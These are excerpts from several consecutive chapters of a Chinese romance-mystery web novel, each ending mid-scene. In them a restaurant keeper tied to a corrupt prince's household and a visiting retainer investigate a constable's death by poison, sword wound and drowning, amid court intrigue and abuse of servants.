可谢辛辛一个后来者,宣王府却由着谢辛辛成了玉春楼的掌柜,自己却领命成了一个被呼来唤去的打杂。 她不明白。 在谢辛辛刚接手玉春楼的生意,每日掌着算盘睡不到三个时辰时,她不明白。 在她大肆敲着官员富户的竹杠敛财,被一些人唤作“母貔貅”,却一视同仁地收留无父无母的伙计在玉春楼帮工时,她也不明白。 但陆清和的这句话,落进了她心里。 日头越来越明朗,万缕金光照进玉春楼的大堂,将漆着红油的雕花木壁映衬得熠熠生辉。 谢辛辛这边正歪在椅子上应付着仍在支吾的郑瑾瑜,心思却挂在陆清和那边。见茗琅丢了魂儿似的走了过来,顿时连敷衍也顾不上了,提着裙摆跑去唤她。 郑瑾瑜本欲不爽,一看来人正是当时那被自己诬陷了的小妮子,讪讪收了声。 “茗琅你怎么了?” 谢辛辛担忧地执起她的手。 “陆公子他……他真的欺负你了?!” 见茗琅仍是两眼空洞,却怔怔道没有,谢辛辛心料定是陆清和是下手未遂,冷下了脸,咬牙道: “他没得逞就好。” 虽与陆清和互相试探了一通,但他们也算是互相表白了吧?他怎能上一秒深情款款,下一秒就对茗琅出手呢? 她有些想找他去质问,可她以什么身份去质问呢? 是了,她还没有身份。 “谢掌柜,我说你在听吗!” 谢辛辛被郑瑾瑜一声嚷叫喊回了神。茗琅早不知去哪了,只有郑瑾瑜仍像个公鸡似的雄赳赳气昂昂绕着她踱步。 她惊讶地看向郑瑾瑜:“你怎么还在啊?” “我都跟你说了半天啦!”郑瑾瑜气急败坏,“我问你呢,你和宣王府……” 谢辛辛一愣:“连你都看得出来?” 连这个榆木脑袋都发现玉春楼是宣王府洗钱的手衣了么? 真是福无双至祸不单行,自己才在陆清和那里说漏了嘴,郑瑾瑜早不来晚不来,偏偏在这个时候找来。 若是以往,有人拿揭发玉春楼的行径来威胁她,她是不怕的,毕竟宣王府藩邸豪势,在莲州官衙早有布局,没有哪个本地官员会接收对宣王府的诉状。 可如今陆清和是京中来的北瑛王府门客,是宣王府的死对头,保不齐知道此事后,他就将玉春楼先剿后奏,拍拍屁股去北瑛王府换功名去了。 “你过来说,小声些。”她忙把郑瑾瑜拉到角落,好言好语道,“郑瑾瑜,那日我虽没给你面子,但也算是为你抓到了家贼,是不是?” 郑瑾瑜点点头,一脸了然称是。 谢辛辛便接着说:“我同宣王府的事,莲州也有不少人是知晓的。只是有些微妙之事,总归不可端上台面来明言。” 郑瑾瑜又点点头,一连称我懂。 “就连官府里,也皆以此事心照不宣呢。”谢辛辛故意把话说的大了些,吓唬他道,“郭知州都未必管的事,你拿来威胁我又有何用呢?” 才说着,就听身后一声:“你同宣王府有什么事,连郭知州都未必管啊?” 谢辛辛对这澹然的声音已极熟悉了,这时无须转头便知道是谁。 晦气啊! 刚才亲眼所见茗琅失魂落魄地出来,陆清和这厢却依旧禅定意静一般。 竟是个伪君子。 她挂上笑道:“没什么。” 郑瑾瑜想到上回在陆清和跟前吃的瘪,便也不想搭理他,跟着点点头:“没什么。” 忽地一片冰凉就抵在了郑瑾瑜领口,郑瑾瑜顿时变了脸色,颤颤地往下挪着目光: “刀——刀啊!” 眨眼间,阿凤就拿出一只短匕逼上郑瑾瑜的脖颈。他身后,陆清和迎风而立,看着谢辛辛莞尔道: “姑娘明明才与我互诉衷情,为何现在事事于我相瞒呢?” 郑瑾瑜冷不防吃了口大瓜,险些惊掉下巴,只因下巴还被匕首抵着,张嘴张了一半又收了回去。 谢辛辛猛地攥住了手掌,在心里呸了一声,强装镇定道:“公子既然与我两情相悦,为何在宣王府的事上于我处处相逼呢?” 郑瑾瑜一听,原来是小俩口吵嘴,梗着脖子插了一句: “她不说,我来说啊!” “你闭嘴。”谢辛辛剜了他一眼,心中却害怕的很。 这北瑛王府与宣王府斗法,为何要拉她的玉春楼垫背?若不是谢家失火后宣王府代理了谢府的家产,她何至于用谢家玉春楼来做这些腌臜事…… 如今让玉春楼陷入险境,她如何对得起爹娘啊! 陆清和慢悠悠道:“说。” “不许说!”谢辛辛拔高了声音。 “你至于吗?”郑瑾瑜不仅浑不在乎,甚至狡黠地朝她挤了挤眼,差点没把谢辛辛气背过去,“我来说,你俩别吵架。” “她同宣王府的事情就是……” 原来郑瑾瑜那句“你等着”,竟是等在这里?他豆大的脑袋长了智慧了?竟知道若莲州的官衙管不到玉春楼头上,就当着北瑛王府中人的面揭发自己? 料想待他此话一出,自己接近陆清和的任务也多半得破灭。 谢辛辛闭了眼,心中一片死寂。 “就是宣王世子喜欢她!” 什么? 谢辛辛啊了一声,逐渐觉过味来,攥紧的拳头渐渐松开了。 陆清和眼瞧着这位小掌柜的神色,从一片灰暗到精光奕奕,转瞬间又露出一副哀怨。 “公子,妾不愿瞒着公子,妾只是好害怕——”她凄凄艾艾道,“在莲州,妾本就没有好名声,妾怕,公子知道宣王世子他的心思后……妾实在怕见弃于公子。” 陆清和轻叹一声,颇为头疼的样子。 …… 曦光遍洒在莲州城的街道上。因时辰尚早,行人只有稀松二三,但勤恳的商贩无论酒肆或绸庄窑坊,此时早已挂好各自招幡。 马车于覆着湿气的青石砖道徐徐行着,这条路常有贵人来往,左右摊贩也见惯了车與,与往常去玉春楼的车马相比,这外 7. 三种凶伤 《钓系掌柜只想逢场作戏》全本免费阅读 “姑父姓孟,单名一个安,曾中过探花呢。”他介绍起姑父,昂起头,颇有些骄傲。 阿凤闻言,出声道:“公子,孟安,不正是我们要去邺州寻的人吗?” 原来陆公子认识姑父啊。 郑瑾瑜放下了心。 那玉春楼便交给陆公子吧,看他俩感情不错,应该用不着自己操心了。 虽说是谢辛辛让自己丢脸在先,致使他一不小心害了谢辛辛的酒楼,但他提前来报信,也算是仁至义尽了,是吧? “哎。”郑瑾瑜自言自语道,“我实有成熟男人的心胸啊,陆公子,你要向我学着点。哎,我错了我错了!!” 见阿凤又往腰间的匕首摸去,他乖巧地闭上了嘴。 不出一会儿便听陆清和开口: “到了。” “到哪了?”郑瑾瑜茫然问。 “你都不知道去哪,就跟上来了吗?”谢辛辛又被他的脑子震惊了,心想自己方才怎么会以为他看出了玉春楼与宣王府的关系呢,实在是高估他了。 阿凤不等轿與停稳,便一个闪身灵巧地跃下轿身,既而扶着陆清和稳稳地下了地。 车外的风乍然吹过,并没有想象中的新鲜,反是混着一丝淡淡的腥臭。远处几位青衣衙役铁青着脸驱赶着围观的人群。 陆清和远远朝那处看了一眼,回身发现谢辛辛正弓腰站在轿门前,费劲拎着裙摆。 为免下轿时踩着衣角,她正专心理着襦裙,面前忽然伸来一只修长白皙的手。 腕间忽然有些发烫,像是早间被这同一只手捉住时,被它灼伤了一般。她抬头看去,眼前白衣公子毫不避讳地望进她眼里,却不见一丝波澜。 她笑了笑,覆手上去,道:“多谢陆公子。” 许是自己作戏作太久,多想了吧。 郑瑾瑜探出个浑圆的脑袋:“所以到哪了啊?” 待谢辛辛站稳,陆清和收回了手,言简意赅:“案发现场。” “啊?什么案发现场?” “昨夜有位捕快无故暴毙在此处,我便来看看。”陆清和平静地说着,袖下才经碰触的指节微颤,“你若害怕,可以自己走回去。” 话音未落,郑瑾瑜便不满地嚷嚷起来。谢辛辛无心去听他撒泼抱怨,捂着耳朵远离了这场聒噪。她凑到七嘴八舌的人群中去,踮脚朝中间一看,顿时愣了神。 几日前,领她去知州府的有一高一矮两个捕快,因来势汹汹,与她起了些争执,她记忆犹新。 而此时躺在地上,腰腹、口间流着乌血的,不正是那高个子捕快么? “你认得他?”陆清和在她身后发问。 谢辛辛想不好怎样解释她与这位捕快的照面,便摇头说不认得。转头一看,郑瑾瑜已经吓得双腿打颤,紧紧“依偎”在矮了他小半个身子的阿凤肩上。 “我认得!”一位挎着竹篮的姑娘接话道,“这是胡大哥呀,上回我阿妈在支摊子时扭了腰,是胡大哥把我阿妈背回家的。” “是胡捕快?”挑着扁担的农户操着莲州话,惊讶道,“我们那的年青小囜里,就属伊做事清爽,脑子灵光,真是遭孽哎。” 旁边的老人嘟囔着说:“自古恶人年长,善人命短啊。” 人群便一连传出叹惋的声音,人人都道胡捕快是个好人,竟死于非命。 谢辛辛听大家如此说,心中便也隐隐起了不忍,将胡捕快昔日与自己针锋相对的场面忘了大半。按说是个好心人,能惹到什么仇家将他捅了个对穿呢? 她见周围石头砖路上湿漉漉的,便问是怎么回事。人群只道是才从水里打捞出来。 忽然身边一阵风过去,是陆清和快步穿过人群,径直走到死者面前。谢辛辛不免愣神看他,圆领白袍,窄腰宽袖,在血污前如一道蔚月仙光似的,显得那样格格不入。 陆清和单膝屈下,伸手按了按死者的胸口,垂着眼睫仔仔细细地查看着。 衙吏喊着“做什么”便立刻提刀冲了上来,谢辛辛快人一步,忙拦到陆清和面前,指指自己的太阳穴笑道: “对不住,几位大人,我男人他这里不太好。我来看着他,不劳大人费心了。” “注意点。”衙吏啐了口,回头和身边人骂道,“这年头,脑子不好的都有媳妇。” 谢辛辛看陆清和仍盯着死者出神,有意为他拖延时间。她抹了抹眼角,神色哀戚: “脑子虽不成了,可长得还俊嘛。大人你有所不知,他不光脑子不好,还生性好色薄幸、四处留情。可怜我小小年纪,被一张皮相误了终身……” 人群似乎不露声色地朝她挪了挪,百姓衙卫各个都竖起了耳朵。谢辛辛还要继续,那话里的主角默默起身,用没触过死者的那只手将自己拉出了人群。 谢辛辛不等他说话,眉眼盈盈道:“看了半天,看出什么来了?” 这两日下来,纵是陆清和总是喜怒不显,她也能一眼辨出他的情绪。 就如此刻,他一双眸子睁着七分,郁郁地瞧着她,便是对刚才的话有所不满,憋着不愿发作。 而谢辛辛就乐得见他这个模样。 便非要引凶罗刹垂两滴泪,惹善菩萨嗔几次目,让宁静澹然者再难把持,五阴炽盛者心神俱灭,那才叫有意思。 陆清和对她无奈,道:“面唇发乌,口鼻有水,伤皮不内卷。” 谢辛辛认真思索道:“面唇发乌,可是中毒?口鼻有水,又像溺毙。伤皮不内卷,这是何意?” “谢掌柜慧心灵性,一点就透。”陆清和微微点头,面色舒展了些,“若死者伤痕肉皮头卷向里,为生前伤,伤皮不卷向里,为死后伤。”[1] 郑瑾瑜倚在阿凤肩头,捂着鼻子闷闷道:“下了毒还要捅人啊?” 阿凤随行陆清和多年,对江湖中事也见过几分,接着道:“那死因便只剩下一种了。” “啊?排除了被刀捅死,不是还剩下溺水、毒发两种吗?”郑瑾瑜挠了挠头。 “你这鸡脑袋,”谢辛辛又往他后脑瓜拍了一掌,“若是先毒发身亡,还怎么溺水啊?” 她趁机接着话头问:“公子,你懂得这样多,去邺州想必也是查案的吧。你也说我一点就透,我与你同去,定帮得上你。” 郑瑾瑜倒是乐见得很,拍手道:“那正好,你可以不用做玉春楼的掌柜了。” 谢辛辛抬手给了他一个爆栗:“你别想了,玉春楼不会倒闭的。我就去邺州几日,还不能回来了吗?” 眼见二人又开始吵吵嚷嚷,一时消停不下。陆清和只得佯装听不见,接过阿凤递上的手帕擦了擦手,默然回往马车处。 “公子,你说杀他的人, 8. 暗度陈仓 《钓系掌柜只想逢场作戏》全本免费阅读 她一僵,又觉得自己占着理呢,该有愧的另有其人,遂壮着胆气道:“我说的也无错。你今晨才于我诉了心意,之后又险些摧残了茗琅,是也不是?” 说完她便观察着眼前人的神色,见他听到摧残二字,先是瞳孔微微震动,既而眉宇间有了怒意,闭上眼再不睁开了,冷冷发出一声: “哼。” 他还生气了? 谢辛辛感到莫名,心头本就介怀,这会索性也不再搭理他,有样学样闭上眼冥想起来。 阿凤左看右看,本想出言解释,可主子又像对谢辛辛生了恼。他不免发现这二人之间又发展到了一个自己看不懂的态势,犹豫再三,干脆也把眼睛一闭,眼不见为净。 三人在马车上紧闭着眼睛,谁也不看谁,就这么挨到了玉春楼。 玉春楼到了饭点已是完全变了模样,纵还在白日,堂中也点满了烛火,光影幢幢,人声鼎沸。几人才进店,就被吃醉了酒的散客冲撞了几下。有伙计听说掌柜的回来了,远远问了声好,便继续去各桌招呼来客。 好事者揩着手蹭到他们面前来,好奇问:“掌柜的,听说早间你们去看的那案子已经结了,结得这样快,是怎么回事啊?” “结了?”谢辛辛以为自己没听清,“我们回来的时候,仵作才去收尸呢,怎么就结了?怎么结的?” “自尽啊!”那人瞪了瞪眼,“你们前脚才出发没一会儿,后脚衙门的告示就贴出来了,怎么你们不知道?” 谢辛辛与陆清和对视一眼,便知对方与自己同样困惑。 看来此事不免要多管上一管了。陆清和在心中喟叹,却看到谢辛辛神情忽然变幻莫测起来。 能逼着莲州官府如此快结案了的,难不成,是宣王府出的手? 她一向只管玉春楼的账务,对主家在外做些什么事一概不知,心中正有揣测,就听陆清和道:“晚些我们再去那附近查勘。” 阿凤闻声应是。 谢辛辛不免有些紧张,试探道:“去查什么?为何要去?” 陆清和别有深意地看了她一眼: “官衙行事奇怪,去查是否有宣王府的手脚。” 宣王府三个字,他刻意说得慢了些,听得谢辛辛汗毛直立,心知自己能想到的事,陆清和也能想到。事到如今,只希望宣王府与此事无关。 就算有关,自己也得跳出这趟浑水。 于是她十分体贴道:“既然如此,那我去给陆公子你们备马。” “嗯,备三匹。”陆清和微微颔首。 “……三匹?”谢辛辛一愣,手指点了点自己的鼻尖,“不会我也要去吧?” “我记得,谢掌柜可是才说过,定能帮得上我?”陆清和看着她,明明是笑着,却让谢辛辛笃定他还在记那句“薄情寡幸”的仇。 小气的男人。 她得出结论。 但此话的言下之意,似乎并不抵触让谢辛辛随行去邺州。于是谢辛辛姑且不计较他的睚眦必报。 陆清和才说完那句,方想到对方是个女子,顿了顿道,“不会骑马?” 这四个字彻底激了她。 “会骑,我去!” 看不起谁呢?小气且狂妄的男人! “嗯,你与我同去,阿凤去衙门那打听消息。” 听到可以二人独处,她便弯了眼睛,欣然接受道: “那公子先用午膳,我去收拾一下就来。” 她仓促地福了福身子,便笑眼目送陆清和主仆二人进了厢房。待眼前的房门缓缓合上,笑意便从谢辛辛的脸上一寸、一寸淡了下去。 她转身回房,将妆奁盒最下层收着的锦布拿了出来,捋平在桌案上。 飞信汇报,事急勿缓。 这桩命案极有可能与王府有关,而陆清和有意介入此事,无异于横生枝节,自然向王府该“飞信”一封。 若是平常小事,她定将事无巨细书信承上,但今日所见命案离奇古怪得很,不止怪在凶手用了三种伤人的手段,更怪在胡捕快此人,在百姓心中,是个善良正直的好人。 换言之,谁杀了百姓眼中的好捕快,谁便是百姓心中的恶人。 那她若给王府通风报信,岂不成了那为虎作伥之人么? 沉思中,一阵微风挟着南方的潮气,顺着窗缝涌入卧房。 少女闺房嫣粉鹅黄的纱帐在风中轻曳,有的绫纱垂落,卧在一方小小的双凤凰头罗锅枨书案上,彩纱覆着红木,颇有锦绣富贵之感。 谢辛辛在微风中晃了神,抬手抚上纱绡,心中忽然有些发苦。 都这会了,她还故作清高什么呢? 谢家的地产如今都在王府手中,自己这谢掌柜早已是华而失实,全凭替王府做着搜银洗财的生意,方能维持此般锦衣玉食的体面。 那些削尖了脑袋要向王府里送钱的贵胄,人前在她这奉上千两白银,人后便将她比为怪谈中食牛吞象的豪彘,怒斥她贪心不足。 自己早已不求高名美誉,既如此,如今行事她唯看一点,便是于拿到谢府卷宗有无助益。 她犹豫了片刻,仍是铺开宣纸,提笔书道:敬启宣王世子尊鉴…… 信鸽扑棱了两下翅膀,一转儿就没入灰青的天色中。谢辛辛想着下午要骑马的事,在绛红下裳内里换上窄口长袴。 她抬腿抻了抻筋骨,又想到自己是还是谢家大小姐的时候,爹爹曾给自己买回一匹从北方边境运回来的枣色小马。 那时,她的小马也像她,有一双聪明灵性的眼睛,总是仰着骄傲的头颅,踢踢嗒嗒地踱步。 大火烧尽后,无人注意是否少了一匹小马的尸体。不知家中起火之时,小马可跑出去了? 谢辛辛常起这样的念头。 哪怕如今为了复仇,她把自己都当做一枚棋子,磋磨掉了傲气。似乎与那匹小马也不再相配。 天色渐阴,莲州城的空气中渐渐弥漫着沉重潮湿的气味,混着马蹄扬起的草叶飞泥,便是一种独特的江南味道。 莲州多丘陵,地势往往北高南低,多有溪流自北向南贯穿城镇,常有浣洗衣物的妇女拿着捣衣杵在溪边锤锤打打,浆洗衣物。 这日下午,有几个女人都见着一男一女,沿着种满垂杨的堤岸打马而过。 沉闷的天色下,两人策马并行,男子身着白衣素衫,女子一袭胭脂红裙,他们月白与赤色的衣摆在风中时有纠缠,就这么宁静又热烈地穿过了小半个莲州。 “你已猜到我们向何处去?” 陆清和的声音被风打碎了,含糊地落进谢辛辛耳朵里。 “当然了!”谢辛辛久未骑御,一面分神驾马,一面尽力大声喊着,“尸体从水中捞出,顺流而下。我们便逆流而上,寻察痕迹。” 陆清和道:“不错,尸体尚未浮肿,多半是在昨夜落水。” 到了一处溪谷,陆清和眯了眯眼,渐渐缓下速度。 谢辛辛跟着勒住了马头,指着一处草丛道:“有血迹。” 二人下马,便看这片草下的土地浸着黑红。这处血迹断断续续,从溪谷边的草间向西南方向蔓延。陆清和皱眉道:“如此明显的痕迹,莲州衙门只要来查探过,便不会草率结案。” “那里 9. 成事不足 《钓系掌柜只想逢场作戏》全本免费阅读 两人披着雨丝,牵上马,轻手轻脚地离开了。 城里租来的马,在泥水里便不愿多走。二人上了马,也只得在雨中慢行着。谢辛辛从小便爱与人争个高低,哪怕是这样慢的速度,也有意不落后于陆清和一分。 她抬眼问他:“就这么走了?” “嗯。”陆清和指指自己的袖袋,“她想说的都说了,不想说的,我也拿到了。” “这土不对劲?”谢辛辛眯了眼,问道,“你是从什么时候发现她有问题的?” 陆清和平静道:“自她问我们是否查过死者伤处。” “她既如此问,应是见过胡捕快中剑的样子,却对此一字未提。” “而后我便发现,花盆虽陈旧落灰,其上层土却很新,应是洒了什么之后新覆盖上去的。” “原来如此。”谢辛辛得了解释,却不甚高兴,“我怎么没想到这些。” 细雨打湿了二人的头发。一丝雨珠顺着陆清和的额发落到他的眼睑上,将他密密的睫毛濡成几绺。 他微动了动眼,侧头看着她,目光竟有几分诚挚,慢慢道: “你并不比我差。我只是有些经验罢了。” 谢辛辛是个善于听取人言的,拊掌爽快道:“是啊,你说的对!我若多跟着你几日,想必你比我还不如呢!” 陆清和闻言笑了笑,二人又脉脉无言了一阵,他问道: “为何不唤陆公子了?” 谢辛辛方才反应过来,自己已好久未再装作一副娴静温柔的模样,发窘道:“都这么熟了,怎么还计较这个。” 见陆清和不说话了,她又笑嘻嘻道:“你我都互诉过衷肠了,是不是我叫你的名字也无妨?” 谢辛辛自知这话放浪了些,本就是故意想激他。几个时辰不见他生气的模样,她还有些想念。 谁知身边公子淡淡地嗯了一声,以微不可闻的声音道:“我名清和。” 她愣住了,良久,方试探道: “清和?” 不等陆清和有反应,她自己先一阵恶寒,汗毛倒竖,搓了搓手臂:“怎么这么冷。哎,还是算了,就叫陆公子也不错。” 陆清和突然伸手拿过她的缰绳,往后一紧,冷了声音: “别说话,有埋伏。” 他替她提着缰绳,衣袖轻轻蹭到她的身上。 谢辛辛的一颗心就这么悬了起来。 她知道,是宣王世子的人来了。 …… 阴雨绵绵。偌大的宣王府里静悄悄的。 雨丝落在青瓦上,又顺着瓦檐滴落,正好落在四檐下挂着的犀角灯上,发出像竹枝折断般的啪的声音。世子房中众婢女听着这动静,皆胆战心惊。 有婢女拿软布擦着琉璃花樽,动作间,花樽与木案碰触,轻响一声。 “嘘!”年长些的婢女小声骂道,“没轻没重的,若惊了世子午睡,你这只手算是废了。” 那婢女慌忙跪下,失声道:“奴婢该死,奴婢该死!” 那年长的忙伸手去捂她的嘴,却已经晚了,里间传来男子轻佻的一声笑: “怕什么?本世子是什么吃人的虎狼?” 他伸手撩开层叠的珠帘,松松地只着一寝衣,将乌发撩落在身体的一侧,弯下腰细细地看着这个跪伏在地上颤抖的婢女。 他有些惊奇:“嗯?又是个不认识的。小红呢?” 年长的婢女便跪下来回话:“回世子,小红之前剪坏了院子里那盆凤羽兰,世子让人打了她五十棍……” 赵都云点点头,听得认真: “然后呢?” “小红……当夜发了热,第二日便去了。” “啧。可怜。”赵都云笑着摇摇头,话音却活泼得很,“今日我得了美人一信,心情好,不打你。别跪了,去叫李管事进来。” …… 秋堤草岸,陆清和翻身下马,一手执两支缰绳。雨势不大,微微湿了他的肩膀。 岸上泥土被雨水湿润后,只能隐隐看出几双脚印的轮廓。 “人不多,只两三个。”陆清和道,“幸好来得及时,在下雨前找到了血迹。” 谢辛辛坐在马上,深呼一口气:“你打得过吗?” “打不过。” “那就好……啊?打不过?”谢辛辛睁大眼睛,弯下身拍他的肩膀,“你刚刚说打不过了吗?我没听清。” “嗯,打不过。”陆清和答得干脆。 虽然北瑛王是武家出身,凭赫赫战功获天子亲书封王拜候,北瑛王世子打小便随着王爷练功长大。 可陆清和是庶子,北瑛王妃并不让他习武。 “那怎么办啊?”她漫不经心地问,心中有自己的盘算。 眼前的男人似乎动摇了一瞬,既而将谢辛辛的缰绳理了出来,交到她手中。 雨水让谢辛辛的视野有些模糊。她用力眨了眨眼,瞳孔的倒影里,陆清和忽然向她一笑: “去找阿凤,他打得过。” 陆清和一甩手,谢辛辛身下马匹忽然长嘶一声,发了狠地向前奔去。谢辛辛忙握紧缰绳,惊愕地回头,就见三名持剑黑衣人从林中冲出,直朝陆清和而去。 陆清和看着谢辛辛一人一马越来越远,摸出一只五六寸长袖剑,单手负于身后。 他闭上眼,静静听着这场踏着雨水袭来的伏击。 五感仿若被放大了一般。陆清和耳朵微动,静心辨着三个方向的敌意。 右方踏水声骤近,他微微侧身,一柄闪着寒光的长剑贴面而过。 左侧有风,抬左手,以剑化力,来人被他几下卸了凶势。 右后方二人同时出剑,陆清和轻呵一声,回身将左边之人伸手一提,一掌将那人往身后拍去。 这还是他小时候私下央着陆景明教他的几招,旁的他也不多会。未想到这几人竟如此草包,对付他们堪堪够用。 早知如此,就说打得过了。 陆清和在心里惋惜。 另外二人见状忙收了剑芒。三人对视,互相道: “撤。” 这就要跑?陆清和皱了皱眉,不解其意,却提剑快步追了上去。 他须要瞧瞧是何人埋伏。若此时放跑三人,便是连问出幕后主使的机会也没有。 三人本不欲再打,见状各自交换了眼神,一人道:“主子吩咐,虚过几招,不可伤人性命。” 中间的黑衣人点点头,忽然回身转腕,将剑尖径直刺向陆清和的肩膀。他闪躲不及,顿感一阵刺痛,一股温热从右肩涌了出来。 “留他一命就行了吧!”那人大喝。 顾不得这许多了。剑锋正要从他身体中脱出,陆清和猛地伸手握住剑刃,鲜血从他掌间混着雨水流下来。持剑之人一时抽不出剑身,与他僵持不下。另外二人见状,才要抬剑一同指向他,却听不远处传来急促的马蹄声。 “陆!” “清!” “和!” 细雨不知何时停了,天光乍破,渐渐散开的云层下,红衣少女映着一道金光,策马而来。 她声若洪钟,怒喊道: “你打不过就跑啊!” 黑衣人眼看着这匹马扬着蹄子 10. 由此及彼 《钓系掌柜只想逢场作戏》全本免费阅读 她立刻猜到了什么,心下一冷,面上挂起不走眼底的笑,口称“的确”。复而深深吸了气,做足了心理准备,问道: “陆公子,你方才说要问我什么?” 陆清和倒了一盏茶,缓缓推给她,开口道: “今日之事,是你暗中联系了宣王府吧。” 她心中有些眉目,却并未即刻承认,反问道: “公子,为何如此说?” “你还记得胡捕快身上的伤口吗?”陆清和指了指自己的右肩,“和这个,一模一样,可见是剑伤。” “本朝刑律,诸私有禁兵器者,徒一年半。我朝纪法下,唯有王公贵胄府中,能有这个规格的长剑。其中与胡捕快有恩怨的,除了宣王府,你道还有何人?”[1] 谢辛辛听罢,心知他怕是以为自己早早地勾结了宣王府,才使王府派人阻止他查这桩案。 西王母娘娘啊,她虽真的给宣王世子递过信,却也是真没有将查案的事传给王府听啊! 这真是有理也说不清了。 说来也是荒谬,陆清和一心想查证宣王府与她的关系,却在她无意与王府串通时,阴差阳错误会了一场。 可她不知从何开始辩解,只得笑道: “这样巧,误打误撞给你递了线索,我是不是还立功了?” 陆清和点点头,道: “是。” 她抬起脸看他,满脸讶然: “你不怪我?” 陆清和笑了:“既是有功,为何要怪?” “其实我听到那刺客说‘不可伤人性命’了。”陆清和喝了口茶,眼角带笑,“想来你为宣王府做事,不得已递些含糊的情报过去,让那王府差人来恐吓我一番,也是情有可原。” 见陆清和说着说着,倒替自己把话给圆了。谢辛辛如释重负,顺势道:“猜的没错,我只对世子说了陆公子对王府之事颇为在意,世子他此番必是想要敲打你。” 如此,再想到自己刚刚严辞向宣王世子告状的那封信,谢辛辛忽然觉得自己那信中又有些言之过当。但来不及深思,便把这件事又抛在了脑后。 很快她反应过来,含羞带怒地瞪了陆清和一眼:“你听到了也不早说,吓死我了。” “呵。”陆清和轻笑出声。 刚刚那一刻,陆清和在她的脸上看出了一瞬的无措。他当然能看出来她心中想着什么,想必是猜测他已认定是谢辛辛与王府串通一气,蓄意截杀他。 之所以不先把话说全,便是想看看她这样的反应罢了。 像只恶猫一样的少女原来也会惶然,他只觉得新奇。 “先不谈这些。”陆清和接过阿凤续上的茶盏,回避了谢辛辛的嗔视,“既知死者伤口来自宣王府,且所中之毒约莫是他妻子所下,如今便还剩三个问题。” “一,胡捕快的夫人出身平常,交友无多,何处得到的蚀心散?” “二则,胡捕快的直接死因为溺水而亡,在中毒中剑之后,为何还会溺水?” “三,便是这剑伤、毒伤、溺水三者间,究竟有何联系?” 二人对坐思忖了片刻,谢辛辛忽然拍桌道: “莫不是我想的那样吧?” “陆公子,你明日再于我去溪谷中一趟,我来同那位夫人说话,你只管在我身边一站,装得凶神恶煞即可。” 她想了想,怕自己表述不清,补充说明:“就是像你断案时候那样。” “我们公子断案的时候哪儿凶了?”阿凤不服气道,被谢辛辛丢了一个“你没事吧”的眼神。 也不知道是谁,才和郑瑾瑜打了几次照面,就让郑瑾瑜这样怕他。 “你这是什么态度?”阿凤急道,“我们公子在工作的时候,只是表情少了些,脸色差了些,语气冷了些……也说不上凶吧!” 谢辛辛点头认可:“正是正是,你说的是。” 不仅凶,而且坏心眼,不仅重要的话说一半,而且为了拿到宣王府的线索,还能对着纯情少女说出“我心亦是如此”这种大言不惭的谎话。 ——被陆清和面无表情拎出门外前,谢辛辛正这么想着。 …… 宣王府,李管事紧紧跟在婢女身后,弓着腰快步向世子房中赶路。 “世子今日兴致怎样?”李管事向前头走着的女子打听。 “世子称今日得了信,似是心情宽畅。” “噢……”李管事搓了搓手,面露喜色,“好事,好事。”又嘶了一声道,“不对呀,往月玉春楼的账目不是月底才送来么,世子还能得谁的信,这么高兴?” 那婢女正是吵醒赵都云午睡的那个,方才死里逃生了一回,见李管事在她跟前嚼着主子的八卦,吓得低下头去不敢接话。 李管事见她惊怯的模样,心上顿时升起一股热来,鬼使神差将手伸进她领口一摸,激得女子惊叫一声。 “低着头作甚?”李管事不抽手,反而愈往她背上探,大笑不止,“你领子里落进一只虫子,我帮你捡出来!别动!” 他厉喝一声,板起脸道:“再动老子等会儿就向世子要了你。” 女子果然不敢再动。谁都知道,落在李管事手里的女人是个什么下场。 二人进门的时候,赵都云才展开今日的第二封信。看到抬头只有“赵世子”三字,面色已沉了五分,又见二人一个满脸羞愤,一个笑容恭顺,便全明白过来。 一个琉璃花樽登时朝李管事脸上飞去,李管事脸色一变,不敢躲开,硬生生用胳膊接下了这一击。 “混账,这么简单的事都做不明白!” 李管事慌忙跪下,心说世子不是心情大好吗,这又是怎么个情况? 却先磕了个头,连声道:“奴才该死,求世子让奴才死也死个明白。” “我说你了吗,满嘴死啊死的,”赵都云从眼角冷冷看他,“今日做事的那三个蠢材,险把北瑛王府来的那厮砍死,差点坏了我的事,谢家那小妮子字里话外把我好一顿讥刺。” “这……谢掌柜未免也太不知礼数……” 啪一声,李管事脸上登时留下五个红指印。赵都云拂手冷笑着看他:“我的人也是你能说的?” 李掌柜反应快,当即伸手自己给自己补了两巴掌,边打边道:“世子教训的是。那三子,打死还是……?” “打死便宜他们了。”赵都云笑了笑,言语间多了几丝趣味,“脸上刺字,送到邺州去吧。” 李管事应了是,犹豫道:“谢掌柜这几日与北瑛王府的门人同进同出,若生异心……” “呵。”赵都云哼笑一声,“这小妮子,我拿了她谢家的家业,便是拿了她的命根,她跑不掉的。” 11. 谢家女婿 《钓系掌柜只想逢场作戏》全本免费阅读 谢辛辛轻拍着她,缓声道:“那剑伤,也不是宣王府的人做的,是不是?” 陆清和一震,也想到了什么,向她看去。 谢辛辛向陆清和点了点头,解释道: “虽然伤口的确是宣王府的剑造成的,但若是王府真派了府卫来杀他,直接用剑即可,无需费心还要将毒药交到夫人你手上。” “且动用府卫并不容易,除非像胡捕快那样惹出当街群殴李管事那样的乱子,就凭区区一管事的地位,府卫还挪用不得。” 陆清和心下了然。那日堵截他的三名黑衣人,应是受宣王世子亲命而来。 谢辛辛继续道:“所以我猜,那把剑……” “你猜的没错。”胡夫人道,“那把剑是胡大哥闹事那一日,从宣王府府卫手中抢夺来的。” 二人不作声,穆然地听着。 胡夫人任由眼泪夺眶而出,哽咽道:“都怪我。自从那一日起,李管事恨极了胡大哥。趁胡大哥当值,他时不时带着人找到我家,拉扯我的衣服,用棍子打我。” “胡大哥知道了之后,几次告假在家陪我。但是他在家,他们便不来。他一走,那些人又来了。” “前几日,李管事仍旧带着一群人来,这次他们没有动我的衣服,而是……” 她停了停,哑了声音道:“而是当着我的面,他们每个人……脱光了自己的裤子……” 谢辛辛骤然捏紧了拳。 “李管事给了我一包粉末,说若我下在胡大哥的饭食里,叫他不能再找麻烦,他便放过我。否则,便不像今日这样简单……”女人呜呜咽咽,终于哭出了声来,“我实在受不了了,我答应了。” “可是我眼睁睁看着胡大哥他,他吃下去之后,我后悔了,我马上就后悔了,我把一切都跟他说了。” “我让他赶快吐出来,可他只是看着我,看了我很久。” “他对我笑了,他说,他本就是为了我才想去王府面前争个说法,却害我至此。若活着保护不了我,那他……也不必活了……” 